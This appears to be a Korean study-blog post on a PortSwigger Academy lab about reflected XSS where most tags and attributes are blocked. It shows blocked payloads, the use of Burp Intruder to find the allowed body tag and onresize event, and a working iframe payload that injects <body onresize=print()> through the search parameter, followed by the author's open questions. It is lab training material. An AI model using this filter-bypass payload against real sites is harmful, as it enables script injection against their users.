Reflected XSS into HTML context with most tags and attributes blocked
<script>alert()</script> -> ban
<img src=1 onerror="alert()"? -> ban
burp suite intruder - ban당하지 않는 tag와 event 알아냄
=> body, onresize
<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
<iframe src="https://your-lab-id.web-security-academy.net/?search="><body onresize=print()>"onload=this.style.width='100px'>
를 /exploit 만드는 곳에 넣으면 된다.
이해 못한 부분
"><body,,,
-> 이게 왜 되는 건지 궁금하다....
><body,,,
-> 이건 그래도 왜 되는지 알 것 같은데....
둘 다 되긴 한다....
깨달은 부분
나는 ?search=를 입력하는 부분에 저 iframe을 넣어야 하는 거 아닌가?? 생각했지만
이 문제에서의 흐름은 그게 아닌 것 같다.(iframe 입력하면 필터링 당한다)
내 생각엔
저 iframe코드를 포함하는 /exploit url을 만들고 이 url을 search=에 입력해서
victim이 이 링크를 클릭하도록 하는게 목적인 것 같다.
일반 문자열 입력시
일단 그냥 <body onresize=print()>하면 다음과 같다.
그리고 ?search="><body onresize=print()> 도 이해가 잘 안가는데..
'정보보안 > 웹해킹' 카테고리의 다른 글
HttpOnly Cookie & Secure Cookie (0) | 2021.10.22 |
---|---|
[PortSwigger] Reflected XSS into HTML context with all tags blocked except custom ones (0) | 2021.10.18 |
[PortSwigger] CSRF where token is tied to non-session cookie (0) | 2021.10.17 |
[PortSwigger] CSRF where token is not tied to user session (0) | 2021.10.16 |
[PortSwigger] CSRF where token validation depends on token being present (0) | 2021.10.16 |
댓글